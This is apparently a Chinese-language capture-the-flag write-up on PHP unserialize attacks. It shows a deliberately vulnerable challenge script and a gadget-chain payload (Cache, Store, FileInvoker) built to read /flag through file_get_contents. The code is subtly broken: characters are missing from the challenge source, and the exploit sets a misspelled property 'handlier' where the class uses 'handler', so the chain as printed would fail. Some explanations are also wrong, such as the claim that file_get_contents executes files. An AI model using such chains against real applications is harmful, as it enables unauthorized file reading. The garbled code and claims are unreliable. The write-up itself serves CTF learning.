0%

CTF反序列化

反序列化Unser

php中的两个函数serialize unserialize

反序列化对象如果为已经存在的类则会调用魔术方法

  1. __construct : 构造函数,在对应对象实例化时被自动调用
  2. __wakeup : 在对象反序列化时调用
  3. __sleep : 在对象序列化时被调用

序列化时会先调用 sleep 再调用 destruct, 故而完整的调用顺序为: 
sleep -> (变量存在) -> destruct

反序列化时如果有 __wakeup 则会调用 __wakeUp 而不是 __construct, 故而逻辑为 __wakeUp/__construct -> (变量存在)

PHP一些函数

A instanceof B 运算符: 用于判断一个变量是否是某个类、其父类或实现某接口的实例,如果是,返回 true,否则返回 false

is_callable() 用于检测一个变量的值在当前作用域中是否可以作为函数或方法调用,常用于回调验证

call_user_func() 是PHP中的一个功能强大的函数,它允许你调用一个回调函数,并传递给它一些参数。这个函数非常灵活,可以用来调用全局函数、类方法,甚至是闭包

___invoke() 是一种特殊的魔术方法,用于让对象像函数一样被调用。当你尝试以函数调用的方式执行一个对象时,PHP 会自动调用该对象的 __invoke() 方法。此特性自 PHP 5.3.0 起可用,并且必须声明为 public

file_get_contents() 本地文件读取或者远程读取 如果为可执行文件则执行后返回结果
此处有php://filter, data://, 伪协议实现base64加密后文件的读取

题目

ezunser

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php  
error_reporting(0);
highlight_file(__FILE__);

class Cache {
    public $key 'welcome';
    public $store;

    public function __destruct() {
        if ($this->store instanceof Store) {
            echo $this->store->get($this->key); //此处创建了Store实例
        }
    }
}

class Store {
    public $handler;

    public function get($key) {
        if (is_callable($this->handler)) {
            return call_user_func($this->handler, $key);
        }
        return '';
    }
}

class FileInvoker {
    public $file '';

    public function __invoke($key) {        $path $this->file;
        if (!$path) {
            return '';
        }
        return @file_get_contents($path);
    }
}

class SafeNote {
    public $text '';

    public function __toString() {
        return (string$this->text;
    }
}

if (isset($_POST['data'])) {    $data $_POST['data'];
    @unserialize($data);
else {
    echo "\n<!-- POST data=serialized_string -->\n";
}
?>


构造序列化payload php online

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Cache{
public $key = 'anything';
public $store;

}

class Store{
public $handlier;

}

class FileInvoker{
public $file = '/flag';
}

$cache = new Cache();
$store = new Store();
$fileinvoker = new FileInvoker();

$store->handlier = $fileinvoker;
$cache->store = $store;

echo serialize($cache);

?>

运行得到:O:5:"Cache":2:{s:3:"key";s:8:"anything";s:5:"store";O:5:"Store":1:{s:8:"handlier";O:11:"FileInvoker":1:{s:4:"file";s:5:"/flag";}}}

-------------到底咯QAQ嘎嘎-------------